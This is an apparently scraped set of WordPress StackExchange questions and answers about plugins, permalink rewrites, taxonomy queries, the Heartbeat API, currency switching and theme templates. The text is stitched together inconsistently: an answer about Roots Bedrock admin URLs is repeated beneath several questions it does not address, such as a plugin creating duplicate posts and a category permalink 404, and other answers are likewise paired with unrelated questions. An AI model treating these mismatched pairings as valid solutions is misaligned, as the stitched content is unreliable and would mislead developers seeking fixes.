[ { "answer_id": 348997, "author": "INT", "author_id": 2830, "author_profile": "https://wordpress.stackexchange.com/users/2830", "pm_score": 3, "selected": true, "text": "<p>My quick and dirty fix looks like this (please note that I use Roots <a href=\"https://roots.io/bedrock/\" rel=\"nofollow noreferrer\">Bedrock</a>, so it differs from a vanilla WP install).</p>\n\n<ol>\n<li><p>In .env add this line <code>WP_HOME_ADMIN='http://admin.mydomain.test'</code> </p></li>\n<li><p>In application.php add this line, preferable just after where <code>WP_HOME</code> is\ndefined: <code>Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));</code></p></li>\n<li><p>Somewhere after where <code>CONTENT_DIR</code> is defined, add this line: <code>Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');</code></p></li>\n</ol>\n" }, { "answer_id": 380825, "author": "Arman Shahinyan", "author_id": 96670, "author_profile": "https://wordpress.stackexchange.com/users/96670", "pm_score": 2, "selected": false, "text": "<p>I understand the question and answer are from more than a year ago, but I just wanted to add some additional information in hopes it might be useful for future visitors of this Question.</p>\n<hr />\n<p>Recently, while setting up a Headless WordPress CMS with Roots Bedrock, I came across the same issue and solved it with a slightly different version of your solution. I applied points 1 and 2 exactly the same, but did 3 a bit different.\nInstead of adding the new line, I changed the declaration of the WP_CONTENT_URL constant from this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>to this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>This solved the backend plugins paths and also the active theme's backend assets paths.</p>\n<hr />\n<p>But there was one final error: The WordPress REST API endpoint wasn't accessible in the backend, because it was being generated with the <code>get_home_url()</code> function, which returns the REST API endpoint appended to the frontend URL, instead of the <code>get_site_url()</code>.</p>\n<p>Looking for solutions for fixing the REST API URL I came across this <a href=\"https://wordpress.org/support/topic/different-wp_home-and-wp_siteurl-causes-cors-error/\" rel=\"nofollow noreferrer\">post answer</a> where the post author provides this filter function you can paste into your active theme's functions.php file for replacing the REST API URL's base with that of the backend URL:</p>\n<pre><code>/*\n * Fix Roots Bedrock WP REST API base endpoint\n */\nadd_filter( 'rest_url', function( $url ) {\n $pattern = '/(\\S+)(\\/wp\\/?)$/';\n $siteURL = preg_replace( $pattern, '${1}', site_url() );\n $url = str_replace( home_url(), $siteURL, $url );\n \n return $url;\n} );\n</code></pre>\n<p>The function replaces the Frontend URL with the Backend URL, and also removes the <code>/wp</code> part of the Roots Bedrock WordPress backend URL.</p>\n" } ]
2019/09/25
[ "https://wordpress.stackexchange.com/questions/349078", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175727/" ]
I am trying to create a simple plugin that creates only one new post. The code I have written creates a the same new post every second. Below is the code I have. What would need to be added so it creates only one post? ``` <?php /** *@package blog-poster */ /* Plugin Name: Blog Poster Plugin URI: http://www.litliving.com Description: This is a plugin for Litliving customers that allows for blog posts to be automatically posted. Version: 1.0.0 Author: Ben Smith Author URI: http://www.bengsmith.com */ if ( ! defined( 'ABSPATH') ){ die; } function AddThisPage() { global $wpdb; // Not sure if you need this, maybe $page = array( 'post_title' => 'My post!!!', 'post_content' => 'This is my post.', 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'post', ); wp_insert_post($page); } add_action( 'wp_insert_post', 'AddThisPage' ); register_activation_hook( __FILE__, 'AddThisPage' ); ?> ```
My quick and dirty fix looks like this (please note that I use Roots [Bedrock](https://roots.io/bedrock/), so it differs from a vanilla WP install). 1. In .env add this line `WP_HOME_ADMIN='http://admin.mydomain.test'` 2. In application.php add this line, preferable just after where `WP_HOME` is defined: `Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));` 3. Somewhere after where `CONTENT_DIR` is defined, add this line: `Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');`
349,113
<p>i am trying to give a specific category posts it's own permalink. Followed the steps from this topic (<a href="https://wordpress.stackexchange.com/questions/296699/give-specific-category-its-own-permalink-structure/296703#296703">Give specific category its own permalink structure</a>) but the posts are giving a 404 error.</p> <p>Cleared cache, saved permalinks under settings but to no avail.</p> <p>Would appreciate help in fixing this.</p> <p>Thanks</p> <p>here is my code:</p> <pre><code>//Rewrite URLs for "testimonial" category add_filter( 'post_link', 'custom_permalink', 10, 3 ); function custom_permalink( $permalink, $post, $leavename ) { // Get the category for the post $category = get_the_category($post-&gt;ID); if ( !empty($category) &amp;&amp; $category[0]-&gt;cat_name == "Foodguide" ) { $cat_name = strtolower($category[0]-&gt;cat_name); $permalink = trailingslashit( home_url('/'. $cat_name . '/' . $post-&gt;ID . '/' . $post-&gt;post_name .'/' ) ); } return $permalink; } add_filter( 'category_link', 'custom_category_permalink', 10, 2 ); function custom_category_permalink( $link, $cat_id ) { $slug = get_term_field( 'slug', $cat_id, 'category' ); if ( ! is_wp_error( $slug ) &amp;&amp; 'foodguide' === $slug ) { $link = home_url( user_trailingslashit( '/foodguide/', 'category' ) ); } return $link; } add_action( 'init', 'custom_rewrite_rules' ); function custom_rewrite_rules() { add_rewrite_rule( 'foodguide(?:/page/?([0-9]{1,})|)/?$', 'index.php?category_name=foodguide&amp;paged=$matches[1]', 'top' // The rule position; either 'top' or 'bottom' (default). ); add_rewrite_rule( 'foodguide/([^/]+)(?:/([0-9]+))?/?$', 'index.php?category_name=foodguide&amp;name=$matches[1]&amp;page=$matches[2]', 'top' // The rule position; either 'top' or 'bottom' (default). ); } </code></pre>
[ { "answer_id": 348997, "author": "INT", "author_id": 2830, "author_profile": "https://wordpress.stackexchange.com/users/2830", "pm_score": 3, "selected": true, "text": "<p>My quick and dirty fix looks like this (please note that I use Roots <a href=\"https://roots.io/bedrock/\" rel=\"nofollow noreferrer\">Bedrock</a>, so it differs from a vanilla WP install).</p>\n\n<ol>\n<li><p>In .env add this line <code>WP_HOME_ADMIN='http://admin.mydomain.test'</code> </p></li>\n<li><p>In application.php add this line, preferable just after where <code>WP_HOME</code> is\ndefined: <code>Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));</code></p></li>\n<li><p>Somewhere after where <code>CONTENT_DIR</code> is defined, add this line: <code>Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');</code></p></li>\n</ol>\n" }, { "answer_id": 380825, "author": "Arman Shahinyan", "author_id": 96670, "author_profile": "https://wordpress.stackexchange.com/users/96670", "pm_score": 2, "selected": false, "text": "<p>I understand the question and answer are from more than a year ago, but I just wanted to add some additional information in hopes it might be useful for future visitors of this Question.</p>\n<hr />\n<p>Recently, while setting up a Headless WordPress CMS with Roots Bedrock, I came across the same issue and solved it with a slightly different version of your solution. I applied points 1 and 2 exactly the same, but did 3 a bit different.\nInstead of adding the new line, I changed the declaration of the WP_CONTENT_URL constant from this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>to this:</p>\n<pre><code>Config::define('WP_CONTENT_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR'));\n</code></pre>\n<p>This solved the backend plugins paths and also the active theme's backend assets paths.</p>\n<hr />\n<p>But there was one final error: The WordPress REST API endpoint wasn't accessible in the backend, because it was being generated with the <code>get_home_url()</code> function, which returns the REST API endpoint appended to the frontend URL, instead of the <code>get_site_url()</code>.</p>\n<p>Looking for solutions for fixing the REST API URL I came across this <a href=\"https://wordpress.org/support/topic/different-wp_home-and-wp_siteurl-causes-cors-error/\" rel=\"nofollow noreferrer\">post answer</a> where the post author provides this filter function you can paste into your active theme's functions.php file for replacing the REST API URL's base with that of the backend URL:</p>\n<pre><code>/*\n * Fix Roots Bedrock WP REST API base endpoint\n */\nadd_filter( 'rest_url', function( $url ) {\n $pattern = '/(\\S+)(\\/wp\\/?)$/';\n $siteURL = preg_replace( $pattern, '${1}', site_url() );\n $url = str_replace( home_url(), $siteURL, $url );\n \n return $url;\n} );\n</code></pre>\n<p>The function replaces the Frontend URL with the Backend URL, and also removes the <code>/wp</code> part of the Roots Bedrock WordPress backend URL.</p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349113", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/56503/" ]
i am trying to give a specific category posts it's own permalink. Followed the steps from this topic ([Give specific category its own permalink structure](https://wordpress.stackexchange.com/questions/296699/give-specific-category-its-own-permalink-structure/296703#296703)) but the posts are giving a 404 error. Cleared cache, saved permalinks under settings but to no avail. Would appreciate help in fixing this. Thanks here is my code: ``` //Rewrite URLs for "testimonial" category add_filter( 'post_link', 'custom_permalink', 10, 3 ); function custom_permalink( $permalink, $post, $leavename ) { // Get the category for the post $category = get_the_category($post->ID); if ( !empty($category) && $category[0]->cat_name == "Foodguide" ) { $cat_name = strtolower($category[0]->cat_name); $permalink = trailingslashit( home_url('/'. $cat_name . '/' . $post->ID . '/' . $post->post_name .'/' ) ); } return $permalink; } add_filter( 'category_link', 'custom_category_permalink', 10, 2 ); function custom_category_permalink( $link, $cat_id ) { $slug = get_term_field( 'slug', $cat_id, 'category' ); if ( ! is_wp_error( $slug ) && 'foodguide' === $slug ) { $link = home_url( user_trailingslashit( '/foodguide/', 'category' ) ); } return $link; } add_action( 'init', 'custom_rewrite_rules' ); function custom_rewrite_rules() { add_rewrite_rule( 'foodguide(?:/page/?([0-9]{1,})|)/?$', 'index.php?category_name=foodguide&paged=$matches[1]', 'top' // The rule position; either 'top' or 'bottom' (default). ); add_rewrite_rule( 'foodguide/([^/]+)(?:/([0-9]+))?/?$', 'index.php?category_name=foodguide&name=$matches[1]&page=$matches[2]', 'top' // The rule position; either 'top' or 'bottom' (default). ); } ```
My quick and dirty fix looks like this (please note that I use Roots [Bedrock](https://roots.io/bedrock/), so it differs from a vanilla WP install). 1. In .env add this line `WP_HOME_ADMIN='http://admin.mydomain.test'` 2. In application.php add this line, preferable just after where `WP_HOME` is defined: `Config::define('WP_HOME_ADMIN', env('WP_HOME_ADMIN'));` 3. Somewhere after where `CONTENT_DIR` is defined, add this line: `Config::define('WP_PLUGIN_URL', Config::get('WP_HOME_ADMIN') . Config::get('CONTENT_DIR') .'/plugins');`
349,121
<p>I have create custom post(book). In which i have five texonomy categories: CatA, CatB, CatC, CatD, CatE. &amp; i want to show only 3 posts and i want that these posts coming from CatA, CatC, CatD.(One post each these categories.)</p> <pre><code>&lt;?php $args = array( 'post_type' =&gt; 'book', 'posts_per_page' =&gt; '3', $terms = get_terms( array( 'taxonomy' =&gt; 'categories', 'field' =&gt; 'name', 'terms' =&gt; array('CatA', 'CatB', 'CatC') )) ); $query = new WP_Query( $args ); if ( $query-&gt;have_posts() ) { ?&gt; &lt;?php while ( $query-&gt;have_posts() ) { $query-&gt;the_post(); ?&gt; &lt;div style="background-image:url('&lt;?php echo get_the_post_thumbnail_url(''`enter code here`);?&gt;')"&gt; &lt;/div&gt; &lt;?php the_title();?&gt; &lt;?php } // end while ?&gt; &lt;?php } wp_reset_postdata(); ?&gt; </code></pre>
[ { "answer_id": 349134, "author": "Ted Stresen-Reuter", "author_id": 112766, "author_profile": "https://wordpress.stackexchange.com/users/112766", "pm_score": 0, "selected": false, "text": "<p>You probably need to use a <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#taxonomy-parameters\" rel=\"nofollow noreferrer\">taxonomy query</a> rather than the <code>terms</code> field (I don't see <code>terms</code> as a valid parameter on <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#taxonomy-parameters\" rel=\"nofollow noreferrer\">WordPress's WP_Query documentation page</a>). This <a href=\"https://wordpress.stackexchange.com/questions/84921/how-do-i-query-a-custom-post-type-with-a-custom-taxonomy\">stackexchange question and answer</a> should provide you with the necessary code to do what you are trying to do.</p>\n\n<p>If, however, the categories are <em>not</em> custom taxonomies (or really are just categories), then you might be able to <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#category-parameters\" rel=\"nofollow noreferrer\">use one of the approaches here</a>.</p>\n" }, { "answer_id": 349154, "author": "Chetan Vaghela", "author_id": 169856, "author_profile": "https://wordpress.stackexchange.com/users/169856", "pm_score": -1, "selected": false, "text": "<p>Please Try below code to get only one custom post from each terms. replace terms ids with your term ids in <code>$array_term = array(16,21);</code> </p>\n\n<pre><code> # pass your term IDS\n $array_term = array(16,21); \n $terms_array = array( \n 'taxonomy' =&gt; 'categories',// you can change it according to your taxonomy\n 'include' =&gt; $array_term,\n 'parent' =&gt; 0 // If parent =&gt; 0 is passed, only top-level terms will be returned\n );\n\n $categories_terms = get_terms($terms_array); \n foreach($categories_terms as $categorie_term): ?&gt;\n &lt;h4&gt;&lt;?php echo $categorie_term-&gt;name; ?&gt;&lt;/h4&gt;\n &lt;?php \n $post_args = array(\n 'posts_per_page' =&gt; 1,\n 'post_type' =&gt; 'book', // you can change it according to your custom post type\n 'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; 'categories', // you can change it according to your taxonomy\n 'field' =&gt; 'term_id', // this can be 'term_id', 'slug' &amp; 'name'\n 'terms' =&gt; $categorie_term-&gt;term_id,\n )\n )\n );\n $query = new WP_Query($post_args); \n if ( $query-&gt;have_posts() ) \n {\n while ( $query-&gt;have_posts() ) \n {\n $query-&gt;the_post(); \n ?&gt;\n &lt;li&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;\n &lt;/li&gt;\n &lt;?php\n }\n }\n wp_reset_postdata(); \n endforeach; // End Term foreach; \n</code></pre>\n\n<p>Let me know if this works for you</p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349121", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175759/" ]
I have create custom post(book). In which i have five texonomy categories: CatA, CatB, CatC, CatD, CatE. & i want to show only 3 posts and i want that these posts coming from CatA, CatC, CatD.(One post each these categories.) ``` <?php $args = array( 'post_type' => 'book', 'posts_per_page' => '3', $terms = get_terms( array( 'taxonomy' => 'categories', 'field' => 'name', 'terms' => array('CatA', 'CatB', 'CatC') )) ); $query = new WP_Query( $args ); if ( $query->have_posts() ) { ?> <?php while ( $query->have_posts() ) { $query->the_post(); ?> <div style="background-image:url('<?php echo get_the_post_thumbnail_url(''`enter code here`);?>')"> </div> <?php the_title();?> <?php } // end while ?> <?php } wp_reset_postdata(); ?> ```
You probably need to use a [taxonomy query](https://developer.wordpress.org/reference/classes/wp_query/#taxonomy-parameters) rather than the `terms` field (I don't see `terms` as a valid parameter on [WordPress's WP\_Query documentation page](https://developer.wordpress.org/reference/classes/wp_query/#taxonomy-parameters)). This [stackexchange question and answer](https://wordpress.stackexchange.com/questions/84921/how-do-i-query-a-custom-post-type-with-a-custom-taxonomy) should provide you with the necessary code to do what you are trying to do. If, however, the categories are *not* custom taxonomies (or really are just categories), then you might be able to [use one of the approaches here](https://developer.wordpress.org/reference/classes/wp_query/#category-parameters).
349,126
<p>I want to use WP-API heartbeat to open a connection to two displays and have them reflect what the other is saying with each <code>send</code> and <code>tick</code>.</p> <p>It used to work when the heartbeat API came out in 3.6 - but now at the latest version it is outputting an error:</p> <p><code>SyntaxError: JSON Parse error: Unexpected identifier "SyntaxError"</code></p> <p>I have tried following other answers on the web to parse the json error or find where it is failing but nothing seems to come out out of it other than it is returning the same url than the response from the server.</p> <pre><code>function mb_heartbeat() { wp_enqueue_script( 'heartbeat' ); add_action( 'wp_footer', 'mb_heartbeat_footer' ); } //our js to send/process function mb_heartbeat_footer() { ?&gt; &lt;script&gt; $(document).ready( function() { // send the user id $(document).on( "heartbeat-send.mb-location-change", function( event, data ) { data.mb_user_id = $('input[name="mb_user_id"]').val(); }); // receive the location $(document).on( "heartbeat-tick.mb-location-change", function( event, data ) { data.mb_user_location &amp;&amp; $("input#mb_user_location" + data.location ).prop( "checked","checked" ); }); // log errors $(document).on( "heartbeat-error.mb-location-change", function( event, jqXHR, textStatus, error ) { console.log( textStatus + ' ----------- ' + error ); }) }); &lt;/script&gt; &lt;?php } // server-side code function mb_heartbeat_received( $response, $data, $screen_id ) { $mb_userid = ( empty($data['mb_user_id']) || !is_numeric($data['mb_user_id']) ? null : $data['mb_user_id'] ); $mb_userid = absint( $mb_userid ); if( !$mb_userid ) { return $response; } $response['mb_user_location'] = get_user_meta( $mb_userid, 'mb_user_location_current', true ); return $response; } // do it add_action( 'init', 'mb_heartbeat' ); add_filter( 'heartbeat_received', 'mb_heartbeat_received', 10, 2 ); add_filter( 'heartbeat_settings', 'mb_heartbeat_settings' ); </code></pre>
[ { "answer_id": 352531, "author": "Ram Ratan Maurya", "author_id": 24756, "author_profile": "https://wordpress.stackexchange.com/users/24756", "pm_score": 3, "selected": true, "text": "<p>Not 100% sure if that's the cause but can you try replacing <code>$</code> with <code>jQuery</code>?</p>\n\n<p>I remember seeing something like this in the past in a similar case.</p>\n" }, { "answer_id": 352691, "author": "magicbyt3", "author_id": 178399, "author_profile": "https://wordpress.stackexchange.com/users/178399", "pm_score": 0, "selected": false, "text": "<p>The message which is likely hidden somewhere would be \"$ is not function\" because jQuery not properly bound to the client.</p>\n\n<p>You can either use jQuery instead of $ like suggested before, or you move your heartbeat callbacks out of your php into a js file and use proper binding for example:</p>\n\n<pre><code>(function ($) {\n ... your code here\n})(jQuery);\n</code></pre>\n\n<p>I'd also suggest to not use wp_footer to get your scripts to the client unless there's a good reason for it. By using wp_enqueue_scripts hook you can ensure that your scripts end up in the right place. This also gives you the ability to control the load order of your scripts through dependencies.</p>\n\n<p>I noticed that you use wp_enqueue_script in the WP init hook, this may lead to unexpected results, to make sure everything works as intended I suggest to change to either wp_enqueue_scripts or admin_enqueue_scripts depending on your needs. You can read more about these hooks here:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_scripts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_enqueue_scripts/</a>\n<a href=\"https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/</a></p>\n\n<p>hope this helps.</p>\n\n<p>Best,\nSebo</p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349126", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/17411/" ]
I want to use WP-API heartbeat to open a connection to two displays and have them reflect what the other is saying with each `send` and `tick`. It used to work when the heartbeat API came out in 3.6 - but now at the latest version it is outputting an error: `SyntaxError: JSON Parse error: Unexpected identifier "SyntaxError"` I have tried following other answers on the web to parse the json error or find where it is failing but nothing seems to come out out of it other than it is returning the same url than the response from the server. ``` function mb_heartbeat() { wp_enqueue_script( 'heartbeat' ); add_action( 'wp_footer', 'mb_heartbeat_footer' ); } //our js to send/process function mb_heartbeat_footer() { ?> <script> $(document).ready( function() { // send the user id $(document).on( "heartbeat-send.mb-location-change", function( event, data ) { data.mb_user_id = $('input[name="mb_user_id"]').val(); }); // receive the location $(document).on( "heartbeat-tick.mb-location-change", function( event, data ) { data.mb_user_location && $("input#mb_user_location" + data.location ).prop( "checked","checked" ); }); // log errors $(document).on( "heartbeat-error.mb-location-change", function( event, jqXHR, textStatus, error ) { console.log( textStatus + ' ----------- ' + error ); }) }); </script> <?php } // server-side code function mb_heartbeat_received( $response, $data, $screen_id ) { $mb_userid = ( empty($data['mb_user_id']) || !is_numeric($data['mb_user_id']) ? null : $data['mb_user_id'] ); $mb_userid = absint( $mb_userid ); if( !$mb_userid ) { return $response; } $response['mb_user_location'] = get_user_meta( $mb_userid, 'mb_user_location_current', true ); return $response; } // do it add_action( 'init', 'mb_heartbeat' ); add_filter( 'heartbeat_received', 'mb_heartbeat_received', 10, 2 ); add_filter( 'heartbeat_settings', 'mb_heartbeat_settings' ); ```
Not 100% sure if that's the cause but can you try replacing `$` with `jQuery`? I remember seeing something like this in the past in a similar case.
349,133
<p>I have an issue where I need to change the currency programmatically. I am doing an AJAX call and I have noticed that returned results does not take into account which currency the user has set.</p> <p>So I am now assigning the currency on the $.ajax call, however, the issue is getting WordPress to change the currency programmatically on this call. I am very surprised to see that there's not aparent answer to this.</p> <p>I would expect a function like <code>woocommerce_set_currency('EUR')</code>.</p> <p>So basically I need to change viewed currency for a template like so:</p> <pre><code>set_viewed_currency('USD'); // some function to change currency before rendering wc_get_template('modal-single-product.php'); </code></pre>
[ { "answer_id": 352531, "author": "Ram Ratan Maurya", "author_id": 24756, "author_profile": "https://wordpress.stackexchange.com/users/24756", "pm_score": 3, "selected": true, "text": "<p>Not 100% sure if that's the cause but can you try replacing <code>$</code> with <code>jQuery</code>?</p>\n\n<p>I remember seeing something like this in the past in a similar case.</p>\n" }, { "answer_id": 352691, "author": "magicbyt3", "author_id": 178399, "author_profile": "https://wordpress.stackexchange.com/users/178399", "pm_score": 0, "selected": false, "text": "<p>The message which is likely hidden somewhere would be \"$ is not function\" because jQuery not properly bound to the client.</p>\n\n<p>You can either use jQuery instead of $ like suggested before, or you move your heartbeat callbacks out of your php into a js file and use proper binding for example:</p>\n\n<pre><code>(function ($) {\n ... your code here\n})(jQuery);\n</code></pre>\n\n<p>I'd also suggest to not use wp_footer to get your scripts to the client unless there's a good reason for it. By using wp_enqueue_scripts hook you can ensure that your scripts end up in the right place. This also gives you the ability to control the load order of your scripts through dependencies.</p>\n\n<p>I noticed that you use wp_enqueue_script in the WP init hook, this may lead to unexpected results, to make sure everything works as intended I suggest to change to either wp_enqueue_scripts or admin_enqueue_scripts depending on your needs. You can read more about these hooks here:</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_scripts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_enqueue_scripts/</a>\n<a href=\"https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/</a></p>\n\n<p>hope this helps.</p>\n\n<p>Best,\nSebo</p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349133", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/50042/" ]
I have an issue where I need to change the currency programmatically. I am doing an AJAX call and I have noticed that returned results does not take into account which currency the user has set. So I am now assigning the currency on the $.ajax call, however, the issue is getting WordPress to change the currency programmatically on this call. I am very surprised to see that there's not aparent answer to this. I would expect a function like `woocommerce_set_currency('EUR')`. So basically I need to change viewed currency for a template like so: ``` set_viewed_currency('USD'); // some function to change currency before rendering wc_get_template('modal-single-product.php'); ```
Not 100% sure if that's the cause but can you try replacing `$` with `jQuery`? I remember seeing something like this in the past in a similar case.
349,169
<p>I am using theme Twenty Sixteen. I created a menu using categories, and when I click on one and end up on a category page that has a "Category : ..." title. I would like to remove that title so that only posts are displayed.<br> I found this similar post : <a href="https://wordpress.stackexchange.com/questions/307727/remove-category-archives-title-at-the-top-of-a-category-page?noredirect=1&amp;lq=1">Remove &quot;Category Archives: title&quot; at the top of a category page</a><br> However, the theme files are not the same and I can't find a "category.php" file. Does anyone know where to find the line responsible for displaying that category title ?<br> I would greatly appreciate your help, thank you :)</p>
[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349169", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175795/" ]
I am using theme Twenty Sixteen. I created a menu using categories, and when I click on one and end up on a category page that has a "Category : ..." title. I would like to remove that title so that only posts are displayed. I found this similar post : [Remove "Category Archives: title" at the top of a category page](https://wordpress.stackexchange.com/questions/307727/remove-category-archives-title-at-the-top-of-a-category-page?noredirect=1&lq=1) However, the theme files are not the same and I can't find a "category.php" file. Does anyone know where to find the line responsible for displaying that category title ? I would greatly appreciate your help, thank you :)
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,174
<p>The title might not be 100% spot on, but let me illustrate what I mean:</p> <p>I have a custom taxonomy (doens't matter if taxonomy of post-type), and ACF fields registered on the taxonomy. It all works fine, but I am wondering if I can display the key/value (e.g. Type: Candle) next to Name, Description, Slug, Count on the following box:</p> <p><a href="https://i.stack.imgur.com/ySjOQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ySjOQ.png" alt="enter image description here"></a></p>
[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349174", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/168584/" ]
The title might not be 100% spot on, but let me illustrate what I mean: I have a custom taxonomy (doens't matter if taxonomy of post-type), and ACF fields registered on the taxonomy. It all works fine, but I am wondering if I can display the key/value (e.g. Type: Candle) next to Name, Description, Slug, Count on the following box: [![enter image description here](https://i.stack.imgur.com/ySjOQ.png)](https://i.stack.imgur.com/ySjOQ.png)
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,183
<p>I wrote SQL query to get items ID with 'instock' status, but don't know how to add to SELECT only from specified product category.</p> <p>My code:</p> <pre><code>$results = $wpdb-&gt;get_col( " SELECT p.ID FROM {$wpdb-&gt;prefix}posts as p INNER JOIN {$wpdb-&gt;prefix}postmeta as pm ON p.ID = pm.post_id WHERE p.post_type LIKE 'product' AND p.post_status LIKE 'publish' AND pm.meta_key LIKE '_stock_status' AND pm.meta_value LIKE 'instock' " ); </code></pre>
